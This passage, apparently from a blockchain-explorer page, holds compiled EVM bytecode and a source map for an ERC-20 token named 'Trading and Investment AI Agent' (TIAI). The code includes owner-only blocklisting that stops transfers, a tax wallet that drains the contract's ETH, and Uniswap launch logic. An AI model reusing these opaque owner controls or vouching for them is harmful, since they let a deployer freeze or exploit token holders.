575060105481115b801561156d5750600c54600d54115b156115a15761158f61158a8461158584601154611ac5565b611ac5565b61177a565b47801561159f5761159f476118e4565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806115e057506001600160a01b0383165f9081526003602052604090205460ff165b80156115f557506001600160a01b0384163014155b801561160a57506001600160a01b0383163014155b1561161457436015555b6001600160a01b0384165f9081526003602052604090205460ff1615801561165457506001600160a01b0383165f9081526003602052604090205460ff16155b15611730576013546001600160a01b03908116908416036116a6576001600160a01b0384165f90815260176020526040902060155481546116959190612130565b600282015542600190910155611730565b6001600160a01b038084165f90815260176020526040902060135490918681169116036116fc5780545f036116f757600d54600c5410156116e95743815561172e565b6116f4600143612130565b81555b61172e565b6001600160a01b0385165f90815260176020526040902081541580611722575080548254115b1561172c57805482555b505b505b61173c84848484611ad9565b50505050565b5f81848411156117655760405162461bcd60e51b81526004016104f49190611cee565b505f6117718486612130565b95945050505050565b6016805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106117bc576117bc61203a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611813573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611837919061204e565b8160018151811061184a5761184a61203a565b6001600160a01b039283166020918202929092010152601254611870913091168461104d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906118a89085905f90869030904290600401612143565b5f604051808303815f87803b1580156118bf575f80fd5b505af11580156118d1573d5f803e3d5ffd5b50506016805461ff001916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610557573d5f803e3d5ffd5b5f61195c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611742565b9392505050565b5f825f0361197257505f61043d565b5f61197d8385611fee565b90508261198a85836121b4565b1461195c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f4565b5f61195c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b03565b6001600160a01b0383165f90815260016020526040902054611a44908261191b565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611a729082611b2f565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111649085815260200190565b5f818311611ad3578261195c565b50919050565b5f611ae5858484611b8d565b9050611afc858583611af7878761191b565b611c3d565b5050505050565b5f8183611b235760405162461bcd60e51b81526004016104f49190611cee565b505f61177184866121b4565b5f80611b3b8385612105565b90508381101561195c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f4565b6005545f9081906001600160a01b0390811690861603611bb957601454611bb49085611963565b611bbb565b835b90508215611c3557305f90815260016020526040902054611bdc9084611b2f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c2c9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f90815260016020526040902054611c5f908361191b565b6001600160a01b038086165f908152600160205260408082209390935590851681522054611c8d9082611b2f565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ce09085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b81811015611d1a57858101830151858201604001528201611cfe565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060d575f80fd5b8035611d5981611d3a565b919050565b5f8060408385031215611d6f575f80fd5b8235611d7a81611d3a565b946020939093013593505050565b5f805f60608486031215611d9a575f80fd5b8335611da581611d3a565b92506020840135611db581611d3a565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611deb575f80fd5b823567ffffffffffffffff80821115611e02575f80fd5b818501915085601f830112611e15575f80fd5b813581811115611e2757611e27611dc6565b8060051b604051601f19603f83011681018181108582111715611e4c57611e4c611dc6565b604052918252848201925083810185019188831115611e69575f80fd5b938501935b82851015611e8e57611e7f85611d4e565b84529385019392850192611e6e565b98975050505050505050565b5f60208284031215611eaa575f80fd5b813561195c81611d3a565b5f8060408385031215611ec6575f80fd5b8235611ed181611d3a565b91506020830135611ee181611d3a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611f3a57815f1904821115611f2057611f20611eec565b80851615611f2d57918102915b93841c9390800290611f05565b509250929050565b5f82611f505750600161043d565b81611f5c57505f61043d565b8160018114611f725760028114611f7c57611f98565b600191505061043d565b60ff841115611f8d57611f8d611eec565b50506001821b61043d565b5060208310610133831016604e8410600b8410161715611fbb575081810a61043d565b611fc58383611f00565b805f1904821115611fd857611fd8611eec565b029392505050565b5f61195c60ff841683611f42565b808202811582820484141761043d5761043d611eec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561205e575f80fd5b815161195c81611d3a565b5f60208284031215612079575f80fd5b8151801515811461195c575f80fd5b5f60208284031215612098575f80fd5b5051919050565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f606084860312156120ec575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561043d5761043d611eec565b5f6001820161212957612129611eec565b5060010190565b8181038181111561043d5761043d611eec565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156121935784516001600160a01b03168352938301939183019160010161216e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826121ce57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200950bf5b23ff2f8e2106ee5f788cde870b83b353d372a7bf78519914672b736264736f6c63430008170033
Deployed Bytecode
0x608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610362578063a9059cbb1461038e578063bf474bed146103ad578063c9567bf9146103c2578063d34628cc146103ca578063dd62ed3e146103e9575f80fd5b8063715018a6146102ea578063751039fc146102fe5780637d1db4a5146103125780638da5cb5b146103275780638f9a55c01461034d575f80fd5b8063313ce567116100f9578063313ce5671461021b57806331c2d847146102365780633bbac5791461025757806351bc3c851461028e5780636fc3eaec146102a257806370a08231146102b6575f80fd5b806306fdde031461013f578063095ea7b3146101965780630faee56f146101c557806318160ddd146101e857806323b872dd146101fc575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152601f81527f54726164696e6720616e6420496e766573746d656e74204149204167656e740060208201525b60405161018d9190611cee565b60405180910390f35b3480156101a1575f80fd5b506101b56101b0366004611d5e565b61042d565b604051901515815260200161018d565b3480156101d0575f80fd5b506101da60115481565b60405190815260200161018d565b3480156101f3575f80fd5b506101da610443565b348015610207575f80fd5b506101b5610216366004611d88565b610464565b348015610226575f80fd5b506040516009815260200161018d565b348015610241575f80fd5b50610255610250366004611dda565b6104cb565b005b348015610262575f80fd5b506101b5610271366004611e9a565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610299575f80fd5b5061025561055b565b3480156102ad575f80fd5b506102556105b8565b3480156102c1575f80fd5b506101da6102d0366004611e9a565b6001600160a01b03165f9081526001602052604090205490565b3480156102f5575f80fd5b50610255610610565b348015610309575f80fd5b50610255610681565b34801561031d575f80fd5b506101da600e5481565b348015610332575f80fd5b505f546040516001600160a01b03909116815260200161018d565b348015610358575f80fd5b506101da600f5481565b34801561036d575f80fd5b506040805180820190915260048152635449414960e01b6020820152610180565b348015610399575f80fd5b506101b56103a8366004611d5e565b610735565b3480156103b8575f80fd5b506101da60105481565b610255610741565b3480156103d5575f80fd5b506102556103e4366004611dda565b610fc9565b3480156103f4575f80fd5b506101da610403366004611eb5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61043933848461104d565b5060015b92915050565b5f6104506009600a611fe0565b61045f9064174876e800611fee565b905090565b5f610470848484611171565b6104c184336104bc856040518060600160405280602881526020016121d4602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611742565b61104d565b5060019392505050565b5f546001600160a01b031633146104fd5760405162461bcd60e51b81526004016104f490612005565b60405180910390fd5b5f5b8151811015610557575f60045f84848151811061051e5761051e61203a565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104ff565b5050565b6005546001600160a01b0316336001600160a01b03161461057a575f80fd5b305f90815260016020526040902054801580159061059a575060165460ff165b156105a8576105a88161177a565b47801561055757610557816118e4565b6005546001600160a01b0316336001600160a01b0316146105d7575f80fd5b6005546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561060d573d5f803e3d5ffd5b50565b5f546001600160a01b031633146106395760405162461bcd60e51b81526004016104f490612005565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106aa5760405162461bcd60e51b81526004016104f490612005565b6106b66009600a611fe0565b6106c59064174876e800611fee565b600e556106d46009600a611fe0565b6106e39064174876e800611fee565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107136009600a611fe0565b6107229064174876e800611fee565b60405190815260200160405180910390a1565b5f610439338484611171565b5f546001600160a01b0316331461076a5760405162461bcd60e51b81526004016104f490612005565b60165460ff16156107bd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f4565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b815290515f929163c45a01559160048083019260209291908290030181865afa158015610821573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610845919061204e565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c7919061204e565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa15801561090f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610933919061204e565b6001600160a01b031603610acb5760125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610991573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b5919061204e565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a38919061204e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a82573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aa6919061204e565b601380546001600160a01b0319166001600160a01b0392909216919091179055610c4e565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b1b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3f919061204e565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b9d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc1919061204e565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610c09573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c2d919061204e565b601380546001600160a01b0319166001600160a01b03929092169190911790555b6016805460ff191660011790555f610c7a306001600160a01b03165f9081526001602052604090205490565b601254909150610c959030906001600160a01b03168361104d565b60135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610ce7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d0b9190612069565b50601254604080516315ab88c960e31b815290515f926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610d53573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d77919061204e565b6013546040516370a0823160e01b81526001600160a01b0391821660048201529192505f9182918416906370a0823190602401602060405180830381865afa158015610dc5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de99190612088565b90508015610f2457610dfb478261191b565b91505f610e1283610e0c8785611963565b906119e1565b601354909150610e2d9030906001600160a01b031683611171565b60135f9054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610e79575f80fd5b505af1158015610e8b573d5f803e3d5ffd5b50506012546001600160a01b0316915063f305d71990508430885f83610eb85f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610eda9695949392919061209f565b60606040518083038185885af1158015610ef6573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610f1b91906120da565b50505050610fb2565b6012546001600160a01b031663f305d7194730875f80610f4b5f546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610f6d9695949392919061209f565b60606040518083038185885af1158015610f89573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610fae91906120da565b5050505b50506016805462ff00001916620100001790555050565b5f546001600160a01b03163314610ff25760405162461bcd60e51b81526004016104f490612005565b5f5b815181101561055757600160045f8484815181106110145761101461203a565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610ff4565b6001600160a01b0383166110af5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f4565b6001600160a01b0382166111105760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f4565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166111d55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f4565b6001600160a01b0382166112375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f4565b5f81116112985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f4565b60165460ff1615806112b15750601654610100900460ff165b156112c6576112c1838383611a22565b505050565b5f80546001600160a01b038581169116148015906112f157505f546001600160a01b03848116911614155b801561130b57506005546001600160a01b03848116911614155b156115a3576001600160a01b0384165f9081526004602052604090205460ff1615801561135057506001600160a01b0383165f9081526004602052604090205460ff16155b611358575f80fd5b61137e6064610e0c600a54600d541161137357600654611377565b6008545b8590611963565b6013549091506001600160a01b0385811691161480156113ac57506012546001600160a01b03848116911614155b80156113d057506001600160a01b0383165f9081526003602052604090205460ff16155b156114b657600e548211156114275760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f4565b600f5482611449856001600160a01b03165f9081526001602052604090205490565b6114539190612105565b11156114a15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f4565b600d8054905f6114b083612118565b91905055505b6013546001600160a01b0384811691161480156114dc57506001600160a01b0384163014155b15611509576115066064610e0c600b54600d54116114fc57600754611377565b6009548590611963565b90505b305f90815260016020526040902054601654610100900460ff1615801561153d57506013546001600160a01b038581169116145b8015611551575060165462010000900460ff165b801561155e575060105481115b801561156d5750600c54600d54115b156115a15761158f61158a8461158584601154611ac5565b611ac5565b61177a565b47801561159f5761159f476118e4565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806115e057506001600160a01b0383165f9081526003602052604090205460ff165b80156115f557506001600160a01b0384163014155b801561160a57506001600160a01b0383163014155b1561161457436015555b6001600160a01b0384165f9081526003602052604090205460ff1615801561165457506001600160a01b0383165f9081526003602052604090205460ff16155b15611730576013546001600160a01b03908116908416036116a6576001600160a01b0384165f90815260176020526040902060155481546116959190612130565b600282015542600190910155611730565b6001600160a01b038084165f90815260176020526040902060135490918681169116036116fc5780545f036116f757600d54600c5410156116e95743815561172e565b6116f4600143612130565b81555b61172e565b6001600160a01b0385165f90815260176020526040902081541580611722575080548254115b1561172c57805482555b505b505b61173c84848484611ad9565b50505050565b5f81848411156117655760405162461bcd60e51b81526004016104f49190611cee565b505f6117718486612130565b95945050505050565b6016805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106117bc576117bc61203a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611813573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611837919061204e565b8160018151811061184a5761184a61203a565b6001600160a01b039283166020918202929092010152601254611870913091168461104d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906118a89085905f90869030904290600401612143565b5f604051808303815f87803b1580156118bf575f80fd5b505af11580156118d1573d5f803e3d5ffd5b50506016805461ff001916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610557573d5f803e3d5ffd5b5f61195c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611742565b9392505050565b5f825f0361197257505f61043d565b5f61197d8385611fee565b90508261198a85836121b4565b1461195c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f4565b5f61195c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b03565b6001600160a01b0383165f90815260016020526040902054611a44908261191b565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611a729082611b2f565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111649085815260200190565b5f818311611ad3578261195c565b50919050565b5f611ae5858484611b8d565b9050611afc858583611af7878761191b565b611c3d565b5050505050565b5f8183611b235760405162461bcd60e51b81526004016104f49190611cee565b505f61177184866121b4565b5f80611b3b8385612105565b90508381101561195c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f4565b6005545f9081906001600160a01b0390811690861603611bb957601454611bb49085611963565b611bbb565b835b90508215611c3557305f90815260016020526040902054611bdc9084611b2f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c2c9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f90815260016020526040902054611c5f908361191b565b6001600160a01b038086165f908152600160205260408082209390935590851681522054611c8d9082611b2f565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ce09085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b81811015611d1a57858101830151858201604001528201611cfe565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060d575f80fd5b8035611d5981611d3a565b919050565b5f8060408385031215611d6f575f80fd5b8235611d7a81611d3a565b946020939093013593505050565b5f805f60608486031215611d9a575f80fd5b8335611da581611d3a565b92506020840135611db581611d3a565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611deb575f80fd5b823567ffffffffffffffff80821115611e02575f80fd5b818501915085601f830112611e15575f80fd5b813581811115611e2757611e27611dc6565b8060051b604051601f19603f83011681018181108582111715611e4c57611e4c611dc6565b604052918252848201925083810185019188831115611e69575f80fd5b938501935b82851015611e8e57611e7f85611d4e565b84529385019392850192611e6e565b98975050505050505050565b5f60208284031215611eaa575f80fd5b813561195c81611d3a565b5f8060408385031215611ec6575f80fd5b8235611ed181611d3a565b91506020830135611ee181611d3a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611f3a57815f1904821115611f2057611f20611eec565b80851615611f2d57918102915b93841c9390800290611f05565b509250929050565b5f82611f505750600161043d565b81611f5c57505f61043d565b8160018114611f725760028114611f7c57611f98565b600191505061043d565b60ff841115611f8d57611f8d611eec565b50506001821b61043d565b5060208310610133831016604e8410600b8410161715611fbb575081810a61043d565b611fc58383611f00565b805f1904821115611fd857611fd8611eec565b029392505050565b5f61195c60ff841683611f42565b808202811582820484141761043d5761043d611eec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561205e575f80fd5b815161195c81611d3a565b5f60208284031215612079575f80fd5b8151801515811461195c575f80fd5b5f60208284031215612098575f80fd5b5051919050565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f606084860312156120ec575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561043d5761043d611eec565b5f6001820161212957612129611eec565b5060010190565b8181038181111561043d5761043d611eec565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156121935784516001600160a01b03168352938301939183019160010161216e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826121ce57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200950bf5b23ff2f8e2106ee5f788cde870b83b353d372a7bf78519914672b736264736f6c63430008170033
Deployed Bytecode Sourcemap
4133:11618:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6189:83;;;;;;;;;;-1:-1:-1;6259:5:0;;;;;;;;;;;;;;;;;6189:83;;;;;;;:::i;:::-;;;;;;;;7282:176;;;;;;;;;;-1:-1:-1;7282:176:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7282:176:0;1162:187:1;5251:53:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5251:53:0;1354:177:1;6466:95:0;;;;;;;;;;;;;:::i;7466:334::-;;;;;;;;;;-1:-1:-1;7466:334:0;;;;;:::i;:::-;;:::i;6375:83::-;;;;;;;;;;-1:-1:-1;6375:83:0;;4845:1;2139:36:1;;2127:2;2112:18;6375:83:0;1997:184:1;13290:165:0;;;;;;;;;;-1:-1:-1;13290:165:0;;;;;:::i;:::-;;:::i;:::-;;13463:85;;;;;;;;;;-1:-1:-1;13463:85:0;;;;;:::i;:::-;-1:-1:-1;;;;;13532:8:0;13511:4;13532:8;;;:4;:8;;;;;;;;;13463:85;15380:368;;;;;;;;;;;;;:::i;15234:138::-;;;;;;;;;;;;;:::i;6569:119::-;;;;;;;;;;-1:-1:-1;6569:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6662:18:0;6635:7;6662:18;;;:9;:18;;;;;;;6569:119;3039:150;;;;;;;;;;;;;:::i;12850:160::-;;;;;;;;;;;;;:::i;5056:56::-;;;;;;;;;;;;;;;;2825:79;;;;;;;;;;-1:-1:-1;2863:7:0;2890:6;2825:79;;-1:-1:-1;;;;;2890:6:0;;;3842:51:1;;3830:2;3815:18;2825:79:0;3696:203:1;5119:58:0;;;;;;;;;;;;;;;;6280:87;;;;;;;;;;-1:-1:-1;6352:7:0;;;;;;;;;;;;-1:-1:-1;;;6352:7:0;;;;6280:87;;6696:167;;;;;;;;;;-1:-1:-1;6696:167:0;;;;;:::i;:::-;;:::i;5184:60::-;;;;;;;;;;;;;;;;13593:1633;;;:::i;13118:164::-;;;;;;;;;;-1:-1:-1;13118:164:0;;;;;:::i;:::-;;:::i;6871:143::-;;;;;;;;;;-1:-1:-1;6871:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6979:18:0;;;6952:7;6979:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6871:143;7282:176;7372:4;7389:39;664:10;7412:7;7421:6;7389:8;:39::i;:::-;-1:-1:-1;7446:4:0;7282:176;;;;;:::o;6466:95::-;6519:7;4903:13;4845:1;4903:2;:13;:::i;:::-;4888:28;;:12;:28;:::i;:::-;6539:14;;6466:95;:::o;7466:334::-;7562:4;7579:36;7589:6;7597:9;7608:6;7579:9;:36::i;:::-;7626:144;7649:6;664:10;7670:89;7708:6;7670:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7670:19:0;;;;;;:11;:19;;;;;;;;664:10;7670:33;;;;;;;;;;:37;:89::i;:::-;7626:8;:144::i;:::-;-1:-1:-1;7788:4:0;7466:334;;;;;:::o;13290:165::-;2952:6;;-1:-1:-1;;;;;2952:6:0;664:10;2952:22;2944:67;;;;-1:-1:-1;;;2944:67:0;;;;;;;:::i;:::-;;;;;;;;;13364:6:::1;13359:89;13380:7;:14;13376:1;:18;13359:89;;;13433:5;13414:4;:16;13419:7;13427:1;13419:10;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13414:16:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13414:16:0;:24;;-1:-1:-1;;13414:24:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;13396:3:0::1;13359:89;;;;13290:165:::0;:::o;15380:368::-;15446:10;;-1:-1:-1;;;;;15446:10:0;664;-1:-1:-1;;;;;15430:26:0;;15422:35;;;;;;15507:4;15468:20;6662:18;;;:9;:18;;;;;;15527:16;;;;;:31;;-1:-1:-1;15547:11:0;;;;15527:31;15524:91;;;15573:30;15590:12;15573:16;:30::i;:::-;15644:21;15679:12;;15676:65;;15705:24;15718:10;15705:12;:24::i;15234:138::-;15300:10;;-1:-1:-1;;;;;15300:10:0;664;-1:-1:-1;;;;;15284:26:0;;15276:35;;;;;;15322:10;;:42;;-1:-1:-1;;;;;15322:10:0;;;;15342:21;15322:42;;;;;:10;:42;:10;:42;15342:21;15322:10;:42;;;;;;;;;;;;;;;;;;;;;15234:138::o;3039:150::-;2952:6;;-1:-1:-1;;;;;2952:6:0;664:10;2952:22;2944:67;;;;-1:-1:-1;;;2944:67:0;;;;;;;:::i;:::-;3147:1:::1;3131:6:::0;;3109:42:::1;::::0;-1:-1:-1;;;;;3131:6:0;;::::1;::::0;3109:42:::1;::::0;3147:1;;3109:42:::1;3179:1;3162:19:::0;;-1:-1:-1;;;;;;3162:19:0::1;::::0;;3039:150::o;12850:160::-;2952:6;;-1:-1:-1;;;;;2952:6:0;664:10;2952:22;2944:67;;;;-1:-1:-1;;;2944:67:0;;;;;;;:::i;:::-;4903:13:::1;4845:1;4903:2;:13;:::i;:::-;4888:28;::::0;:12:::1;:28;:::i;:::-;12904:12;:21:::0;4903:13:::1;4845:1;4903:2;:13;:::i;:::-;4888:28;::::0;:12:::1;:28;:::i;:::-;12936:14;:23:::0;12975:27:::1;4903:13;4845:1;4903:2;:13;:::i;:::-;4888:28;::::0;:12:::1;:28;:::i;:::-;12975:27;::::0;1500:25:1;;;1488:2;1473:18;12975:27:0::1;;;;;;;12850:160::o:0;6696:167::-;6774:4;6791:42;664:10;6815:9;6826:6;6791:9;:42::i;13593:1633::-;2952:6;;-1:-1:-1;;;;;2952:6:0;664:10;2952:22;2944:67;;;;-1:-1:-1;;;2944:67:0;;;;;;;:::i;:::-;13665:11:::1;::::0;::::1;;13664:12;13656:47;;;::::0;-1:-1:-1;;;13656:47:0;;6674:2:1;13656:47:0::1;::::0;::::1;6656:21:1::0;6713:2;6693:18;;;6686:30;6752:25;6732:18;;;6725:53;6795:18;;13656:47:0::1;6472:347:1::0;13656:47:0::1;13714:15;:80:::0;;-1:-1:-1;;;;;;13714:80:0::1;13751:42;13714:80:::0;;::::1;::::0;;;13827:25:::1;::::0;;-1:-1:-1;;;13827:25:0;;;;13714:15:::1;::::0;13751:42;13827:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;13751:42;13827:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13809:52:0::1;;13862:15;;;;;;;;;-1:-1:-1::0;;;;;13862:15:0::1;-1:-1:-1::0;;;;;13862:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13809:91;::::0;-1:-1:-1;;;;;;13809:91:0::1;::::0;;;;;;-1:-1:-1;;;;;7310:15:1;;;13809:91:0::1;::::0;::::1;7292:34:1::0;13894:4:0::1;7342:18:1::0;;;7335:43;7227:18;;13809:91:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13809:105:0::1;::::0;13805:373:::1;;13965:15;;;;;;;;;-1:-1:-1::0;;;;;13965:15:0::1;-1:-1:-1::0;;;;;13965:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13947:55:0::1;;14011:4;14018:15;;;;;;;;;-1:-1:-1::0;;;;;14018:15:0::1;-1:-1:-1::0;;;;;14018:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::